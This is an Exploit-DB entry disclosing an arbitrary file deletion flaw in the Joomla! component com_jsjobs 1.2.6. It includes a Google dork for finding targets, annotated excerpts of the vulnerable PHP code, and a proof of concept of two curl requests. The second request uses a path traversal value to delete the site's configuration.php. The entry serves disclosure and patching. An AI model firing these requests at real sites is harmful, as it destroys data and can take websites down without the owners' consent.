Exploit-DB #47281
Description: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2019-08-16
Author: qw3rTyTy

Exploit:
# Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion
# Dork: inurl:"index.php?option=com_jsjobs"
# Date: 2019-08-16
# Exploit Author: qw3rTyTy
# Vendor Homepage: https://www.joomsky.com/
# Software Link: https://www.joomsky.com/5/download/1
# Version: 1.2.6
# Tested on: Debian/nginx/joomla 3.9.0

# Vulnerability details:
# This vulnerability is caused when processing custom userfield.

File:		site/models/job.php
Function:	storeJob
Line:		1240
-------------------------------------

  1215	    //custom field code start
  1216	        $customflagforadd = false;
  1217	        $customflagfordelete = false;
  1218	        $custom_field_namesforadd = array();
  1219	        $custom_field_namesfordelete = array();
  1220	        $userfield = $this->getJSModel('customfields')->getUserfieldsfor(2);
  1221	        $params = array();
  1222	        $forfordelete = '';
  1223	        
  1224	        foreach ($userfield AS $ufobj) {
  1225	            $vardata = '';
  1226	            if($ufobj->userfieldtype == 'file'){
  1227	                if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){
  1228	                    $vardata = $data[$ufobj->field.'_2'];
  1229	                }else{
  1230	                    $vardata = $_FILES[$ufobj->field]['name'];
  1231	                }
  1232	                $customflagforadd=true;
  1233	                $custom_field_namesforadd[]=$ufobj->field;
  1234	            }else{
  1235	                $vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : '';
  1236	            }
  1237	            if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
  1238	                $customflagfordelete = true;
  1239	                $forfordelete = $ufobj->field;
  1240	                $custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];		//No check.
  1241	            }
  ...snip...
  1323	        // new
  1324	        //removing custom field 
  1325	        if($customflagfordelete == true){
  1326	            foreach ($custom_field_namesfordelete as $key) {
  1327	                $res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2);		//!!!
  1328	            }
  1329	        }

File:		site/models/common.php
Function:	uploadOrDeleteFileCustom
Line:		851
-------------------------------------

   748	        $path = $base . '/' . $datadirectory;
   749	        if (!file_exists($path)) { // create user directory
   750	            $this->makeDir($path);
   751	        }
   752	        $isupload = false;
   753	        $path = $path . '/data';
   754	        if (!file_exists($path)) { // create user directory
   755	            $this->makeDir($path);
   756	        }
   757	        if($for == 3 )
   758	            $path = $path . '/jobseeker';
   759	        else
   760	            $path = $path . '/employer';
   761	
   762	        if (!file_exists($path)) { // create user directory
   763	            $this->makeDir($path);
   764	        }
   ...snip...
   843	        } else { // DELETE FILES
   844	            if ($isdeletefile == 1) {
   845	                if($for == 3){
   846	                    $userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/';
   847	                }else{
   848	                    $userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/';
   849	                }
   850	                $file = $userpath.$field;
   851	                unlink($file);		//!!!
   852	            }
   853	            return 1;
   854	        }
   855	    }

#####################################
#PoC:
#####################################

# If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests.

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"